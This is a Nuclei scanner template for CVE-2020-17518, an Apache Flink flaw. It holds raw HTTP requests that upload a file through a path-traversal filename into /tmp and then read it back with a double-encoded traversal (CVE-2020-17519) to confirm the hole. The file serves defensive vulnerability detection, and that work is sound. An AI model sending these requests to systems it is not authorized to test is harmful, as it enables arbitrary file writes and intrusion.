id: CVE-2020-17518

info:
  name: Apache Flink 1.5.1 - Local File Inclusion
  author: pdteam
  severity: high
  description: |
    Apache Flink 1.5.1 is vulnerable to local file inclusion because of a REST handler that allows file uploads to an arbitrary location on the local file system through a maliciously modified HTTP HEADER.
  reference:
    - https://github.com/vulhub/vulhub/tree/master/flink/CVE-2020-17518
    - https://lists.apache.org/thread.html/rb43cd476419a48be89c1339b527a18116f23eec5b6df2b2acbfef261%40%3Cdev.flink.apache.org%3E
    - https://lists.apache.org/thread.html/rb43cd476419a48be89c1339b527a18116f23eec5b6df2b2acbfef261@%3Cuser.flink.apache.org%3E
    - https://lists.apache.org/thread.html/rb43cd476419a48be89c1339b527a18116f23eec5b6df2b2acbfef261@%3Cdev.flink.apache.org%3E
    - https://nvd.nist.gov/vuln/detail/CVE-2020-17518
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N
    cvss-score: 7.5
    cve-id: CVE-2020-17518
    cwe-id: CWE-22
    cpe: cpe:2.3:a:apache:flink:*:*:*:*:*:*:*:*
    epss-score: 0.97462
  tags: lfi,flink,fileupload,vulhub,cve,cve2020,apache,intrusive
  metadata:
    max-request: 2


http:
  - raw:
      - |
        POST /jars/upload HTTP/1.1
        Host: {{Hostname}}
        Accept: */*
        Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryoZ8meKnrrso89R6Y

        ------WebKitFormBoundaryoZ8meKnrrso89R6Y
        Content-Disposition: form-data; name="jarfile"; filename="../../../../../../../tmp/poc"

        {{randstr}}
        ------WebKitFormBoundaryoZ8meKnrrso89R6Y--

      - |
        GET /jobmanager/logs/..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252ftmp%252fpoc HTTP/1.1

    matchers:
      - type: dsl
        dsl:
          - 'contains(body_2, "{{randstr}}") && status_code == 200' # Using CVE-2020-17519 to confirm this.